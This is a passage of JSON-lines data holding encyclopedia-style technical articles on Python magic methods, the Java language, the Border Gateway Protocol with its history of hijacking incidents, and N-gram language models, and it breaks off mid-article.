returns `NotImplemented`, `b.&lowbar;&lowbar;radd&lowbar;&lowbar;(a)` is called. For example, `3 + 5.5` will call `3.&lowbar;&lowbar;add&lowbar;&lowbar;(5.5)`. Since an integer doesn't know how to add a float, this returns `NotImplemented`. Then `5.5.&lowbar;&lowbar;radd&lowbar;&lowbar;(3)` is called and this succeeds with the addition.\n    + **In-Place Operation**: Given `a += b`, the call `a.&lowbar;&lowbar;iadd&lowbar;&lowbar;(b)` is made. This method should modify the object in-place. If this method doesn't exist, `a.&lowbar;&lowbar;add&lowbar;&lowbar;(b)` and `b.&lowbar;&lowbar;radd&lowbar;&lowbar;(a)` are tried in that order.Related to these are unary operators `+` and `-` that call `&lowbar;&lowbar;pos&lowbar;&lowbar;()` and `&lowbar;&lowbar;neg&lowbar;&lowbar;()`; built-in function `abs()` calls `&lowbar;&lowbar;abs&lowbar;&lowbar;()`; similar built-in functions (some in `math` module) call `&lowbar;&lowbar;round&lowbar;&lowbar;()`, `&lowbar;&lowbar;trunc&lowbar;&lowbar;()`, `&lowbar;&lowbar;floor&lowbar;&lowbar;()`, and `&lowbar;&lowbar;ceil&lowbar;&lowbar;()`. \n\n\n### Which magic method makes class instances callable?\n\nGiven a class `A` and its initializer `&lowbar;&lowbar;init&lowbar;&lowbar;(self, i)`, we can instantiate an object by doing `a = A(2)`. Now `a` is an instance. But it can't be called like a method or function. However, if the class `A` includes the magic method `&lowbar;&lowbar;call&lowbar;&lowbar;()`, we can write `a()`. Thus, the instance becomes callable (with or without arguments) when the magic method `&lowbar;&lowbar;call&lowbar;&lowbar;()` is defined. \n\nClass instantiation itself is just calling the corresponding *class object*. With `&lowbar;&lowbar;call&lowbar;&lowbar;()`, we're enabling a similar syntax on instances.\n\nCallable instances have practical use cases. With `&lowbar;&lowbar;init&lowbar;&lowbar;()` an object can be initialized in a fundamental way. Suppose it has only one specific behaviour. Hence it defines no methods other than `&lowbar;&lowbar;call&lowbar;&lowbar;()`. Different types of instances are then created and called. An example is initializing a `Hasher` object with an algorithm: `md5 = Hasher(hashlib.md5)` and `sha1 = Hasher(hashlib.sha1)`. Actual hashing happens later by calling these instances: `md5('somefile.txt')` or `sha1('somefile.txt')`. \n\nImplementing decorators or presenting a consistent API are other use cases of `&lowbar;&lowbar;call&lowbar;&lowbar;()`. \n\n\n### Which magic methods are available for customization of attribute access?\n\n`&lowbar;&lowbar;getattr&lowbar;&lowbar;()`, `&lowbar;&lowbar;getattribute&lowbar;&lowbar;()`, `&lowbar;&lowbar;setattr&lowbar;&lowbar;()` and `&lowbar;&lowbar;delattr&lowbar;&lowbar;()` allow us to customize attribute access for class instances. This includes use of, assignment to or deletion of `a.x`, where `x` is an attribute of instance `a`. \n\nBuilt-in function `dir()` calls magic method `&lowbar;&lowbar;dir&lowbar;&lowbar;()` to customize the list of valid instance attributes. Moreover, `&lowbar;&lowbar;getattr&lowbar;&lowbar;()` and `&lowbar;&lowbar;dir&lowbar;&lowbar;()` can be used to customize access to module attributes. \n\nA feature of the language called **descriptor** introduces further magic methods: `&lowbar;&lowbar;get&lowbar;&lowbar;()`, `&lowbar;&lowbar;set&lowbar;&lowbar;()` and `&lowbar;&lowbar;delete&lowbar;&lowbar;()`. These are more powerful and present a more modular way to control attribute access. \n\n\n### How can I make a custom object hashable?\n\nCertain data structures in Python such as sets, frozensets and dictionaries are implemented using hash tables for efficient lookups and insertions. This requires computing a hash value on the object by calling the built-in function `hash()`. Internally, this calls the magic method `&lowbar;&lowbar;hash&lowbar;&lowbar;()`.\n\nBy defining this magic method on a class, we can compute the hash value for objects of that class. It must return an integer. Objects that compare equal via the method `&lowbar;&lowbar;eq&lowbar;&lowbar;()` must have the same hash value. One suggested way to compute a proper hash is to pack comparison-sensitive components of an object into a tuple and hash that tuple. For example, `return hash((self.x, self.y))` as the body of `&lowbar;&lowbar;hash&lowbar;&lowbar;()` method on a class `Point2d`. Note that `&lowbar;&lowbar;hash&lowbar;&lowbar;()` in general is tightly coupled with `&lowbar;&lowbar;eq&lowbar;&lowbar;()` and has atypical behaviour related to `&lowbar;&lowbar;hash&lowbar;&lowbar;()` implementations of `str` and `bytes` types. \n\n## Milestones\n\nSep  \n2000\n\nPython 1.6 is released. Magic method `&lowbar;&lowbar;contains&lowbar;&lowbar;()` is introduced to allow overriding the `in` operator. \n\nApr  \n2001\n\nPython 2.1 is released. Magic methods `&lowbar;&lowbar;lt&lowbar;&lowbar;()`, `&lowbar;&lowbar;le&lowbar;&lowbar;()`, `&lowbar;&lowbar;eq&lowbar;&lowbar;()`, `&lowbar;&lowbar;ne&lowbar;&lowbar;()`, `&lowbar;&lowbar;gt&lowbar;&lowbar;()` and `&lowbar;&lowbar;ge&lowbar;&lowbar;()` are introduced to allow overriding the corresponding comparison operators. \n\nDec  \n2001\n\nPython 2.2 is released. This introduces **descriptors** into the language via PEP 252. Descriptors themselves have the following attributes: `&lowbar;&lowbar;name&lowbar;&lowbar;`, `&lowbar;&lowbar;doc&lowbar;&lowbar;`, `&lowbar;&lowbar;get&lowbar;&lowbar;()`, `&lowbar;&lowbar;set&lowbar;&lowbar;()` and `&lowbar;&lowbar;delete&lowbar;&lowbar;()`. Descriptors are now used to support static methods and class methods. New features slots and properties are also new kinds of descriptors. \n\nSep  \n2006\n\nPython 2.5 is released. This introduces the `with` statement and its associated magic methods `&lowbar;&lowbar;enter&lowbar;&lowbar;()` and `&lowbar;&lowbar;exit&lowbar;&lowbar;()`. A common use case of this is to open a file in `&lowbar;&lowbar;enter&lowbar;&lowbar;()` when the `with` context is entered and close the file in `&lowbar;&lowbar;exit&lowbar;&lowbar;()` as soon as execution comes out of the `with` context. Another new method is `&lowbar;&lowbar;index&lowbar;&lowbar;()` that solves a problem faced by NumPy users. It's now possible to use NumPy types as slice indexes. \n\nOct  \n2008\n\nPython 2.6 is released. Some features of Python 3.0 are backported to Python 2.6. One of these is the `&lowbar;&lowbar;complex&lowbar;&lowbar;()` magic method. Magic method `&lowbar;&lowbar;dir&lowbar;&lowbar;()` is introduced. Built-in function `dir()` now looks for it on the object it receives. \n\nDec  \n2008\n\nPython 3.0 is released. Magic method `&lowbar;&lowbar;cmp&lowbar;&lowbar;()` is removed. Instead use `&lowbar;&lowbar;lt&lowbar;&lowbar;()` for sorting, `&lowbar;&lowbar;eq&lowbar;&lowbar;()` with `&lowbar;&lowbar;hash&lowbar;&lowbar;()` and other rich comparisons. Operator `!=` returns the opposite of `==`. Methods `&lowbar;&lowbar;getslice&lowbar;&lowbar;()`, `&lowbar;&lowbar;setslice&lowbar;&lowbar;()` and `&lowbar;&lowbar;delslice&lowbar;&lowbar;()` are removed. The slice `a[i:j]` is implemented as `a.&lowbar;&lowbar;getitem&lowbar;&lowbar;(slice(i, j))`. Methods `&lowbar;&lowbar;setitem&lowbar;&lowbar;()` and `&lowbar;&lowbar;delitem&lowbar;&lowbar;()` are introduced. Converters `oct()` and `hex()` now use `&lowbar;&lowbar;index&lowbar;&lowbar;()`. Method `&lowbar;&lowbar;nonzero&lowbar;&lowbar;()` is now `&lowbar;&lowbar;bool&lowbar;&lowbar;()`. \n\nSep  \n2015\n\nPython 3.5 is released. Magic methods for asynchronous programming are introduced: `&lowbar;&lowbar;await&lowbar;&lowbar;()`, `&lowbar;&lowbar;aiter&lowbar;&lowbar;()`, `&lowbar;&lowbar;anext&lowbar;&lowbar;()`, `&lowbar;&lowbar;aenter&lowbar;&lowbar;()`, and `&lowbar;&lowbar;aexit&lowbar;&lowbar;()`. \n\nJun  \n2018\n\nPython 3.7 is released. Module-level methods introduced are `&lowbar;&lowbar;getattr&lowbar;&lowbar;()` and `&lowbar;&lowbar;dir&lowbar;&lowbar;()`. These can be used to implement module attribute deprecation and lazy loading. New methods `&lowbar;&lowbar;class_getitem&lowbar;&lowbar;()` and `&lowbar;&lowbar;mro_entries&lowbar;&lowbar;()` bring 7x improvement to performance in relation to types and the `typing` module. New module `dataclasses` has decorators and functions to automatically add some magic methods to user-defined classes. \n\nOct  \n2019\n\nPython 3.8 is released. Constructors of `int`, `float` and `complex` will now use `&lowbar;&lowbar;index&lowbar;&lowbar;()` if their corresponding magic methods are not available. \n\nOct  \n2021\n\nPython 3.10 is released. If `&lowbar;&lowbar;ipow&lowbar;&lowbar;()` returns `NotImplemented`, `&lowbar;&lowbar;pow&lowbar;&lowbar;()` and `&lowbar;&lowbar;rpow&lowbar;&lowbar;()` are the fallbacks.","meta":{"title":"Magic Methods in Python","href":"magic-methods-in-python"}}
{"text":"# Java (Language)\n\n## Summary\n\n\nJava is a high-level programming language, having an object-oriented programming approach. It meets high standards of security. It was developed by James Gosling in 1995 at Sun Microsystems. One of the greatest strengths of Java is portability which allows the programmer to compile the code once and run on any platform. \n\nJava has many real-world applications from Android gaming applications to scientific applications. It's versatility makes it one of the most popular and trusted languages in the world. The syntax of Java is very similar to C++ language. It's designed to let programmers *write once, run anywhere* .\n\n## Discussion\n\n### Why was Java created in the mid-1990s?\n\nJava was developed by James Gosling at Sun Microsystems in 1995 to allow consumer electronic devices to communicate with each other. It is a high-level, portable and object-oriented programming language. It's designed to let programmers *write once, run anywhere* (WORA), meaning that the compiled Java code can run on all platforms that support Java without the need of recompilation. Gosling made the syntax of Java similar to C/C++ language so that the programmers would find it familiar. \n\n\n### What exactly is a Java Virtual Machine?\n\nThe code written in Java language is converted into a specific code called **Java Bytecode** by a Java compiler. Then the bytecode is interpreted by a software called the Java Virtual Machine (JVM), or Java Runtime Environment (JRE). \n\nThe JVM acts a virtual computer which translates bytecode into machine instructions for the host computer. This helps in achieving one of the design goals of Java, called **portability**. Portability means that the program written for the Java platform must run similarly on any operating systems regardless of the hardware specifications. Users commonly use a Java Runtime Environment (JRE) installed on their device for running Java applications. \n\n\n### What are the different editions of Java?\n\nSun Microsystems defined and supports four editions of Java for different application environments. Java APIs are categorized according to these environments. The different editions are:  \n\n    + **JavaFX**: A platform that provides a lightweight user-interface API. JavaFX applications can use hardware-accelerated graphics and media engines for high-performance clients.\n    + **Java Micro Edition (Java ME)**: A computing platform for development and deployment of Java code for embedded and mobile devices such as mobile phones, micro-controllers and sensor nodes.\n    + **Java Standard Edition (Java SE)**: A computing platform for development and deployment of Java code for desktop and servers.\n    + **Java Enterprise Edition (Java EE)**: An extension of Java SE with additional features such as distributed computing and web services for enterprises.\n\n### What sort of applications use Java in the real world?\n\nJava has a very wide and extensive usage in the real world. Java is used for various purposes including Android apps, financial applications such as online trading systems, embedded systems, and many more. Java is used in to develop mobile applications, web applications, scientific applications, web servers, applications servers, server apps in the financial services industry, big data technologies, embedded systems, enterprise applications, trading applications, desktop GUI and business applications. \n\nThere are many significant applications like NASA WorldWind, Wikipedia Search, Minecraft, NetBeans, Eclipse IDE and IntelliJ IDEA that are all written in Java. \n\n\n### What are the main features of the Java language?\n\nThe major features of Java are as follows: \n\n    + Simple and Familiar: The syntax of Java is made similar to C/C++ language, eliminating the complexities of C/C++.\n    + Compiled and Interpreted: Generally, a language is either compiled or interpreted but Java integrates the concepts of compiled and interpreted language.\n    + Portable: Programs written for Java platforms run similarly on all operating systems regardless of system hardware components.\n    + Architecturally Neutral: A Java program is independent of platforms or environments. It can run on any other operating system that has a compliant JVM.\n    + Object-Oriented: Java strictly follows the concept of Object-Oriented Programming (OOP).\n    + Robust: Java can handle runtime errors. It supports automatic garbage collection and exception handling.\n    + Secure: Java has access modifiers to provide various levels of access to data.\n    + Distributed: A Java program can access any other program running on any other machine.\n    + Multi-Threaded: Multi-threading means executing multiple threads (portions) of a program in parallel.\n    + High Performance: Java programs are highly efficient.\n    + Dynamic and Extensible: Since Java is a object-oriented programming language, it gives freedom to add new classes and methods in our program.\n\n### As a beginner, how can I get started with Java programming?\n\nThe Java can be installed on Windows, Linux or Mac. The official Java SE by Oracle can be installed. \n\nNext step is to install an Integrated Development Environment (IDE). IntelliJ, Microsoft Visual Studio and Powerbuilder are a few examples of IDEs. The Java programs can be easily written and run on the IDE. For developing mobile apps using Java, Android Studio is the software to be installed.\n\nOracle provides beginner to advanced Java courses and certification. It provides many free courses. Oracle Java Training and Certification is a good starting point for more information.\n\n\n### What are some limitations of using Java?\n\nAlthough Java is one of the most used programming languages, it has some limitations: \n\n    + Slow Performance: Bytecode interpretation by the JVM makes it slower than native languages such as C/C++.\n    + Memory Consumption: Java programs require more memory compared to C/C++ programs.\n    + Low-Level Programming: Java doesn't support low-level programming.\n    + Unsigned Data types: Unlike C/C++, doesn't have support for unsigned data types. However, Java 8 APIs introduced some support for these.\n    + Garbage Collection: Java doesn't give any control over garbage collection.\n\n### What are some alternatives to Java?\n\nHere are some alternatives to Java: \n\n    + Python: Python is a high-level, object-oriented programming language. It's one of the easiest language to learn.\n    + C#: C# has been competing with Java over the years. It's also an alternative to Java, having a similar syntax.\n    + C++: The developers of Java considered many points of C++ while building Java. C++ is relatively faster than Java and also gives programmers some robust features.\n    + Kotlin: Kotlin is the official language for Android development. It's an easy-to-code language compared to Java.\n    + Swift: Swift is a faster programming language than Java. It's also a secure language.\n    + Go: Go is a Google-supported language made for building fast, reliable, and efficient software. Paypal, Netflix and Microsoft use it.\n    + Rust: Rust is a fast and memory efficient language used by many companies including Firefox, Dropbox and Cloudflare.\n\n\n## Milestones\n\nJun  \n1991\n\nJames Gosling, Mike Sheridan, and Patrick Naughton start working on the Java language project. The project is named **Oak** after an oak tree standing outside Gosling's office. Later the name is changed to green and finally renamed as **Java** after a type of coffee in Indonesia. \n\nJan  \n1996\n\nSun Microsystems makes **Java 1.0** public, promising write once, run anywhere (WORA) functionality. \n\nMay  \n2007\n\nSun Microsystems makes all of the JVM's core code available under **free software and open-source** distribution terms. \n\nJan  \n2010\n\nOracle acquires Sun Microsystems. This doesn't change Java's open-source licensing and distribution. \n\nJul  \n2011\n\nJava Development Kit (JDK) 7 is released. It contains networking and security enhancements. Support for **non-Java languages** is provided in this version. \n\nMar  \n2014\n\nJDK 8 is released. A new language feature called **Lambda Expressions** is released. The new Modena theme is implemented in this release. Now, the *Java* command launches JavaFX applications. The Rhino JavaScript engine is replaced with the Nashorn JavaScript Engine. \n\nSep  \n2017\n\nJDK 9 is released. The **module**, a new kind of Java programming component, is introduced. It's a named, self-describing collection of code and data. JDK and JRE runtime images are restructured to accommodate modules, and improve performance, security and maintainability. \n\nMar  \n2018\n\nJDK 10 is released. A new method `orElseThrow()` is added to the `Optional` class. This is the preferred alternative of existing `get()` method. Several new APIs are added that facilitate the creation of unmodifiable collections. \n\nSep  \n2018\n\nJDK 11 is released. It combines **Unicode 9.0.0 and 10.0.0** versions including 16,018 new characters, 18 new blocks, and 10 new scripts. **Nests** are introduced, an access-control context aligned with the existing notion of nested types in the Java programming language. \n\nMar  \n2019\n\nJDK 12 is released. It includes support for **Unicode 11.0.0**. It includes 684 new characters, 11 new blocks, and 7 new scripts. \n\nSep  \n2021\n\nJDK 17 is released. **Sealed Classes** are added to the Java Language. Sealed classes and interfaces restrict which other classes or interfaces may extend or implement them. An extension to switch function is implemented. The file system provider implementation on macOS is been updated in this release to support extended attributes. JavaDoc can now generate a page summarizing the recent changes in an API.","meta":{"title":"Java (Language)","href":"java-language"}}
{"text":"# Border Gateway Protocol\n\n## Summary\n\n\nBorder Gateway Protocol (BGP) is a routing protocol used to transmit routing information so that hosts or computers in one network can communicate with those in other networks anywhere on the internet. BGP is categorized as an external routing protocol since it deals with routing beyond an organization's internal network. BGP is standardized by the IETF.  \n\nBGP selects one best path based on a number of rules. BGP also ensures that paths are loop free. By adapting to route failures, BGP ensures network stability. When one path fails, a new path is quickly found. BGP uses TCP on port 179 as its transport protocol.\n\n## Discussion\n\n### Can you explain some commonly used terms in BGP?\n\nA **BGP speaker** is a router that supports BGP. It communicates with other BGP speakers to share routing information. Routers that have established a mutual connection are called **peers**. .\n\n**IP prefix** is a block of IP addresses allocated to an organization. A collection of routers in a network having a group of IP prefixes and sharing a common routing policy is called an **Autonomous System (AS)**. The internet connects many of these systems. The Internet Assigned Numbers Authority (IANA) assigns each AS with a globally unique Autonomous System Number (ASN). \n\nThere are broadly two types of routing protocols. An **Interior Gateway Protocol (IGP)** such as RIP, EIGRP, and OSPF does routing within an AS. An **Exterior Gateway Protocol (EGP)** such as BGP does inter-AS routing. However, BGP can also be used for intra-AS routing. For this reason, some use the terms Internal BGP (iBGP) and External BGP (eBGP) to distinguish between intra-AS and inter-AS usage of BGP.  \n\n\n### Why do we need BGP?\n\nBGP is a routing mechanism that connects and binds the entire internet globally. It's in charge of determining the optimum path for a packet from its origin to its destination through the autonomous systems. BGP controls how data packets are distributed between the massive networks that make up the internet, allowing it to function properly. \n\nIt's a critical protocol since the internet would not function without it. The whole path to each destination is included in BGP routing information. BGP maintains a database of network reachability information, which it shares with other BGP systems, using the routing information. \n\n\n### What are the characteristics of BGP?\n\nBGP **employs TCP** as its transport protocol. Therefore BGP needn't implement functions already implemented at TCP, such as explicit update fragmentation, retransmission, acknowledgement, and sequencing. Since BGP doesn't have any built-in security mechanism, TCP Authentication Option (TCP-AO) was introduced. It improves the security and authenticity of TCP segments transmitted during BGP sessions. TCP-AO can handle both IPv4 and IPv6 traffic. \n\nBGP is a **path vector protocol** that relies on dynamically updated path information to reach a destination. Path vector protocol keeps all paths **loop-free**. \n\nBGP has a mandatory attribute `NEXT_HOP` for all the routes in a BGP table. This value is typically the address of the peer in another AS. For intra-AS routing, we can use OSPF; or use iBGP and update the attribute to point to a neighbouring router within the AS. The figure shows an example where packets from CE2 to 1.0.0.0/8 are routed via 200.0.0.11. Hence CE2 has the `NEXT_HOP` attribute set to 200.0.0.11 for destination 1.0.0.0/8. \n\n\n### What are the message types in BGP?\n\nA BGP message in BGP consists of header and data. All messages have fixed size header. BGP defines five message types:   \n\n    + **Open Messages**: After establishing a TCP connection by a three-way handshake, an open message is issued to establish a BGP connection. Subsequently, they can exchange other messages and data traffic.\n    + **Update Messages**: By sending update messages, network reachability information such as route announcements and withdrawals can be shared. Thus BGP maintains a graph of connections.\n    + **Keepalive Messages**: This is exchanged to keep the connection alive or to test connectivity. It's frequently exchanged to prevent the hold timer from expiring.\n    + **Notification Messages**: When a problem with the BGP session is discovered, such as a hold timer expiring, changing neighbour capabilities, or a request for BGP session reset, a notification message is provided. The BGP connection is then terminated.\n    + **Route-Refresh Messages**: It's requested by peers dynamically when a route advertiser needs to resend the update messages.\n\n### How does BGP choose the best path?\n\nBGP selects a best path between two peers. Given below is the list of criteria to select best path: \n\n    + **Weight**: Choose the route which has most weight. Greater the weight value, higher the preference for that path.\n    + **Local Preference**: If many routes have same weight, choose the one with highest local preference.\n    + **Origin**: Prefer the route which was originated by local router. Next hop for a locally originated route is 0.0.0.0.\n    + **AS-Path**: This is used in case two similar path is detected with same preference.\n    + **Origin Code**: If AS-Path length is same prefer path with lowest MED (Multi-Exit Discriminator) which selects best path when there are multiple connections between autonomous systems(AS).\n    + **eBGP over iBGP**: Prefer eBGP. eBGP's administrative distance is 20 whereas iBGP's is 200.\n    + **IGP metric**: Lowest IGP for next-hop is preferred.\n    + **External Paths**: If both routes are external select first and oldest.\n    + **Router ID**: Select the path to router which has lowest router ID.\n    + **Cluster list**: If multiple paths have same router ID select minimum length.\n    + **Neighbour Address**: Select path from lowest neighbour address which is the IP address used in BGP neighbour configuration.\n\n### What are the different BGP states?\n\nEstablishing a BGP session between speakers requiring a reliable transport protocol. This is provided by TCP. Thus a BGP session is established in two phases: TCP connection establishment phase and BGP session establishment phase. BGP maintains a Finite State Machine (FSM) per peer to track the operational status.  \n\nThree BGP states relate to establishing the TCP connection:\n\n    + **IDLE**: Initial state of BGP before any connection happens.\n    + **Connect**: BGP initiates TCP connection and waits for successful three-way handshake. If successful, it's transferred to open-sent state.\n    + **Active**: Failed to establish a connection and a new three-way handshake is initiated.Three BGP states relate to establishing the BGP session:\n\n    + **Open-Sent**: Open message is sent from the originating router to the peer.\n    + **OpenConfirm**: Open message is received from the peer. Wait for Keepalive message.\n    + **Established**: Connection is success. Peers can now exchange routes by sending Update message.\n\n### What are the limitations of BGP?\n\nThe difficulty with BGP is that it doesn't explicitly incorporate built-in security and relies on network operators to effectively safeguard their systems. BGP hijacking and leak incidents have been a persistent source of concern since the early 2000s. \n\nOne of the major challenges that BGP faces is the expansion of the *routing table*. This issue arises when the routing table grows to the point where certain older, less capable routers are unable to meet the requirements for routing table maintenance, resulting in issues such as *512k day*. \n\nBGP is vulnerable to *prefix hijacking*, which is the deliberate generation of incorrect routing information. The attacker announces routes to disrupt a service on an IP space or hijack traffic to sniff any confidential information. The reasons for this are numerous and difficult to comprehend. Prefix hijacking will also have the same effects as *route leaks* caused by any router misconfiguration. \n\n## Milestones\n\nSep  \n1982\n\n**Gateway-to-Gateway Protocol (GGP)**, a first experimental internet gateway is implemented by Bolt, Beranek and Newman (BBN) for use in the US department of Defense for a project named ARPANET. This is the early days of the internet. . The gateway forwards datagrams between networks because it contains a dynamic routing table with an entry for every network that may be reached. The closest gateway is determined by the \"number of hops\" necessary. A gateway has zero hops when connected directly to the network. The number of hops increases as the number of gateways increases. \n\nApr  \n1984\n\nDARPA Internet is growing continuously requiring more gateways making GGP less feasible as it requires constant updates. As a result, the **Exterior Gateway Protocol (EGP)** is implemented through RFC904. The EGP includes autonomous systems, each with a unique identifier. It can transmit traffic from one autonomous system to another, making internet flat and uniform. . The protocol uses Hello/I-Heard-You (I-H-U) message exchanges to poll the reachability of neighbouring autonomous systems on a regular basis. The EGP was actually discussed conceptually in 1982. \n\nJun  \n1989\n\nKirk Lougheed and Len Bosack of Cisco, and Yakov Rekhter of IBM write a new protocol with experience gained on EGP. EGP has problems with regional networks providing false information. Intra-regional routing is also isolated from the latest NSFNET, the backbone of internet. They write this new protocol on napkins. For this reason, it's sometimes called the *Two-Napkin Protoco*. In **RFC 1105**, these ideas becomes the Border Gateway Protocol. \n\nJun  \n1990\n\nBorder Gateway Protocol (BGP) gets a major update with the publication of **RFC 1163** and **RFC 1164**. It has resolved several issues that arose with the first version of BGP described in RFC 1105. Several Messages types and their applications are redefined. The concept of path attributes is introduced to communicate information about traffic routes. In addition, directional topology in routers that can be up, down or horizontal is removed and replaced with arbitrary AS topology. \n\nOct  \n1991\n\n**RFC 1267: BGP-3** is published with several improvements and corrections. If two BGP speakers attempt to make a TCP connection to each other at the same time, two parallel connections may be formed. This is referred to as a *connection collision*. A new field BGP identifier is introduced now and been added to message type OPEN to detect and recover from a connection collision. Also, information exchange between previously reachable routes is optimized and simplified. \n\nMar  \n1995\n\n**RFC 1771: BGP-4** is published as a Draft Standard based on last year's Proposed Standard **RFC 1654: BGP-4**.  Major concept of Classless Inter-domain Routing (CIDR) is introduced with the support of advertising IP Prefix to the reachable destination. This eliminates the need for network classes. For storage and bandwidth efficiency, it also helps to aggregate route update messages received from several different routes to be advertised as single routing table entry. The handling of connection collision becomes more sophisticated in this upgrade. \n\nFeb  \n1998\n\nWith new RFC 2283, multiprotocol extensions with support for IPv6, IPX, and other network layer protocols are added to BGP-4, which previously only supported IPv4. This BGP-4 expansion is also known as **Multiprotocol BGP (MBGP)** or Multicast BGP. To facilitate this and offer backward compatibility, two new attributes are introduced: Multiprotocol Reachable NLRI (MP REACH NLRI) and Multiprotocol Unreachable NLRI (MP UNREACH NLRI). \n\nJan  \n2006\n\n**RFC 4271: BGP-4** is published, thus obsoleting RFC 1771 that was published more than a decade earlier. \r Among many technical modifications, this update clarifies the use of the BGP identification in the AGGREGATOR attribute, the various types of NEXT HOPs, and the use of the ATOMIC AGGREGATE attribute. \n\nFeb  \n2008\n\nTo block YouTube access in Pakistan as a result of government order a Pakistan Telecom (AS17557) begins to advertise to its provider PCCW (AS 3491) a small part of 208.65.153.0/24 prefix owned by YouTube (AS36561). Without verifying ownership, PCCW propagates this wrong route. This results in requests to YouTube coming to Pakistan Telecom's network. When YouTube starts announcing the same prefix, BGP selects Pakistan Telecom because it has a shorter path. \n\nDec  \n2012\n\nAs the two-octet encoding for autonomous system numbers approaches its limit, **RFC 6793** is introduced with several clarifications and editorial changes obsoleting RFC 4893 (May 2007) to support **four-octet ASNs**. In addition, a BGP capability code with two new attributes AS4 PATH and AS4 AGGREGATOR is introduced to support this. These new attributes are introduced to disseminate this four-octet-based information to BGP speakers who don't support the new feature. \n\nAug  \n2014\n\nOn 12th August, an Internet Service Provider (ISP) called \"Verizon\" pushes 15,000 new routes into BGP tables. This unexpectedly surpasses the **maximum of 512,000 routes** that BGP routers can actually hold. BGP routing tables are stored in TCAM (Tertiary Content Addressable RAM), which reached its memory limit on this fateful day. A remedy for this anticipated problem was recommended, and notifications were provided in May 2014. However, most ISPs failed to make the necessary modifications.  \n\nNov  \n2018\n\nA group of criminal hackers known as *3ve* (pronounced \"eve\") hacks 1 million IP addresses from reputable organizations such as the US Air Force, as well as from residential and business users in North America and Europe. Using botnets they hijack BGP for an endless supply of highly valuable IP addresses. Hackers generate $29 million via ad fraud involving bots placing bids on counterfeited domains.  \n\nOct  \n2021\n\nFacebook and its affiliated services such as WhatsApp and Instagram become unavailable for nearly six hours. This is due to an incorrect internal configuration. They stop announcing BGP routes to their DNS Prefix around 15:58UTC. BGP UPDATE messages begin flooding in from Facebook, causing all routes to it to be withdrawn. DNS servers go offline, cutting it off from the internet. As a result, all DNS resolvers stopped resolving their domain names by responding SERVFAIL.","meta":{"title":"Border Gateway Protocol","href":"border-gateway-protocol"}}
{"text":"# N-Gram Model\n\n## Summary\n\n\nGiven a sequence of N-1 words, an N-gram model predicts the most probable word that might follow this sequence. It's a probabilistic model that's trained on a corpus of text. Such a model is useful in many NLP applications including speech recognition, machine translation and predictive text input. \n\nAn N-gram model is built by counting how often word sequences occur in corpus text and then estimating the probabilities. Since a simple N-gram model has limitations, improvements are often made via smoothing, interpolation and backoff. \n\nAn N-gram model is one type of a **Language Model (LM)**, which is about finding the probability distribution over word sequences.\n\n## Discussion\n\n### Could you explain N-gram models with an example?\n\nConsider two sentences: \"There was heavy rain\" vs. \"There was heavy flood\". From experience, we know that the former sentence sounds better. An N-gram model will tell us that \"heavy rain\" occurs much more often than \"heavy flood\" in the training corpus. Thus, the first sentence is more probable and will be selected by the model. \n\nA model that simply relies on how often a word occurs without looking at previous words is called **unigram**. If a model considers only the previous word to predict the current word, then it's called **bigram**. If two previous words are considered, then it's a **trigram** model.\n\nAn n-gram model for the above example would calculate the following probability: \n\nP('There was heavy rain') = P('There', 'was', 'heavy', 'rain') = P('There')P('was'|'There')P('heavy'|'There was')P('rain'|'There was heavy')\n\nSince it's impractical to calculate these conditional probabilities, using *Markov assumption*, we approximate this to a bigram model: \n\nP('There was heavy rain') ~ P('There')P('was'|'There')P('heavy'|'was')P('rain'|'heavy')\n\n\n### What are typical applications of N-gram models?\n\nIn speech recognition, input may be noisy and this can lead to wrong speech-to-text conversions. N-gram models can correct this based on their knowledge of the probabilities. Likewise, N-gram models are used in machine translation to produce more natural sentences in the target language. \n\nWhen correcting for spelling errors, sometimes dictionary lookups will not help. For example, in the phrase \"in about fifteen mineuts\" the word 'minuets' is a valid dictionary word but it's incorrect in this context. N-gram models can correct such errors. \n\nN-gram models are usually at word level. It's also been used at character level to do stemming, that is, separate the root word from the suffix. By looking at N-gram statistics, we could also classify languages or differentiate between US and UK spellings. For example, 'sz' is common in Czech; 'gb' and 'kp' are common in Igbo. \n\nIn general, many NLP applications benefit from N-gram models including part-of-speech tagging, natural language generation, word similarity, sentiment extraction and predictive text input. \n\n\n### How do we evaluate an N-gram model?\n\nThe best way to evaluate a model is to check how well it predicts in end-to-end application testing. This approach is called **extrinsic evaluation** but it's time consuming and expensive. An alternative approach is to define a suitable metric and evaluate independent of the application. This is called **intrinsic evaluation**. This doesn't guarantee application performance but it's a quick first step to check algorithmic performance. \n\nA common metric is to use **perplexity**, often written as PP. Given a test set \\(W = w\\_1 w\\_2 \\dots w\\_n\\), \\(PP(W) = P(w\\_1 w\\_2 \\dots w\\_n)^{-1/N}\\). Because of the inverse relationship with probability, minimizing perplexity implies maximizing the test set probability. Perplexity can also be related to the concept of entropy in information theory. \n\nIt's important in any N-gram model to include markers at start and end of sentences. This ensures that the total probability of the whole language sums to one. However, all calculations should include the end markers but not the start markers in the count of word tokens.  \n\n\n### What is smoothing in the context of N-gram modelling?\n\nIt's quite possible that some word sequences occur in test data that were never seen during training. When this happens, the probability of the sequence equals zero. Evaluation is also difficult since perplexity metric becomes infinite. \n\nThe usual way to solve this is to give non-zero counts to N-grams that are seen in testing but not in training. We can't just add 1 to all the zero counts since the overall probability distribution will not be normalized. Instead, we remove some probability mass from non-zero counts (called **discounting**) and add them to the zero counts. The overall process is called **smoothing**. \n\nThe simplest technique is **Laplace Smoothing** where we add 1 to all counts including non-zero counts. An alternative is to add k, with k tuned using test data. Other techniques include Good-Turing Discounting, Witten-Bell Discounting, and Kneser-Ney Smoothing. All of these try to estimate the count of things never seen based on count of things seen once. **Kneser-Ney Smoothing** provides a good baseline and it's based on **absolute discounting**. \n\n\n### How do backoff and interpolation techniques help N-gram models?\n\nSmoothing solves the zero-count problem but there are techniques to help us better estimate the probabilities of unseen n-gram sequences.\n\nSuppose we want to get trigram probability of a certain word sequence that never occurs. We can estimate this using the bigram probability. If the latter is also not possible, we use unigram probability. This technique is called **backoff**. One such technique that's popular is called **Katz Backoff**. \n\n**Interpolation** is another technique in which we can estimate an n-gram probability based on a linear combination of all lower-order probabilities. For instance, a 4-gram probability can be estimated using a combination of trigram, bigram and unigram probabilities. The weights in which these are combined can also be estimated by reserving some part of the corpus for this purpose. \n\nWhile backoff considers each lower order one at a time, interpolation considers all the lower order probabilities together.\n\n\n### What are some limitations of N-gram models?\n\nA model trained on the works of Shakespeare will not give good predictions when applied to another genre. We need to therefore ensure that the training corpus looks similar to the test corpus. \n\nThere's also the problem 